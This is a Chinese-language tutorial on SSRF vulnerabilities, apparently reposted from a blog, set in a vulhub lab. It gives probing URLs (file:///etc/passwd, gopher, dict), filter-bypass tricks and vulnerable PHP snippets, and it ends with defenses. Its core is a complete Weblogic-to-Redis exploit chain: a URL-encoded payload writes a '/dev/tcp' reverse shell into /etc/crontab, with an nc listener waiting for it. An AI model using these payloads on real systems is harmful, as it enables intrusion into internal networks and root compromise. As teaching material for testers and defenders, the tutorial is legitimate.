原文:https://www.yuque.com/u938700/blog/xn6vq7
0x00 SSRF简介和原理
- SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
- 通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。
0x01 漏洞危害
- 扫描内网开放服务
- 向内部任意主机的任意端口发送payload来攻击内网服务
- 攻击内网的web应用,例如直接SQL注入、XSS攻击等
- 利用file、gopher、dict协议读取本地文件、执行命令等
0x02 漏洞常出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
0x03漏洞验证
1、排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
2、dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
3、抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
3.1、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
3.2、通过二级域名暴力猜解工具模糊猜测内网地址
3.3、通过file协议读取内网信息获取相关地址
4、直接返回的Banner、title、content等信息
5、留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
0x04简单的测试用例
创建一个PHP测试脚本,利用curl发送请求
<?PHP
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
利用的多种协议
gopher协议
使用gopher协议来查看协议,
访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:6667/_godzzz
“ class=”align-none”>
利用gopher发送POST的请求,
访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
dict协议
dict 协议探测版本
http://10.211.55.4/ssrf.php?url=dict://127.0.0.1:3306/
FILE协议
http://10.211.55.4/ssrf.php?url=file:///etc/passwd
http/https协议
http://10.211.55.4/ssrf.php?url=http://ip:port
Weblogic SSRF漏洞
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
简单介绍
- 如果内网开放了6379端口redis服务,尝试利用SSRF对redis执行未授权漏洞,可以直接反弹shell获取权限
- Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
- 因此,此漏洞在没有配置密码的情况下可以利用SSRF来绕过绑定在本地的限制,从而实现在外网攻击内网应用。
漏洞环境
参考vulhub的漏洞环境搭建
装个docker方便的很
docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic
depends_on:
- redis
ports:
- "7001:7001"
redis:
build: .
编译及启动测试环境
docker-compose build
docker-compose up -d
访问http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
SSRF漏洞测试
SSRF漏洞存在于
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
1.比如探测自己的 7001端口,这是存在的
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
“ class=”align-none”>
2.比如这个 探测 172.19.0.2:6379是否开放,这种报错就是开放的
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379
“ class=”align-none”>
2.比如这个 探测 127.0.0.1:7000是否开放,这种报错就是不存在的端口
“ class=”align-none”>
攻击redis(通过header CRLF 注入)
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
查看docker redis的ip地址
docker ps
docker exec -it c5e88c76db40 ip addr
172.19.0.2是docker redis的内网地址
利用SSRF漏洞探测内网redis是否开放
发现redis存在
payload生成
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
写成计划任务,然后反弹shell
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
进行url编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
注意,换行符是“\r\n”,也就是“%0D%0A”。
实施攻击
本机监听端口:nc -lvvp 2333
注意IP要填对
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp 这个肯定是weblogic的能访问的地方了
operator=http://172.19.0.2:6379/ 这个是redis的IP和端口
最后一个ip
192.168.0.100%2F2333 这个是要反弹shell的主机ip和端口
浏览器访问:
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.100%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反弹shell成功!
0x06 绕过技术
常用绕过方法
1.@
http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com,而libcur
l则识别为www.bbb.com
2.利用[::]
可以利用[::]
来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
3.利用短网址
站长工具短网址(http://tool.chinaz.com/tools/dwz.aspx)
跳转要去的地址
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
5.利用DNS解析
在域名上设置A记录,指向127.0.0.1
6.302跳转
使用302跳转地址
7.利用进制转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
8.句号
127。0。0。1 >>> 127.0.0.1
2、常见限制
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
0x07 审计php常见的函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
(1)file_get_contents() 函数从用户指定的url获取内容,并展示给用户。
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
(2)fsockopen()
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
(3)curl_exec() 函数用于执行指定的cURL会话
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
0x08防御技术
1、禁用不需要的协议(如:file:///
、gopher://
,dict://
等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP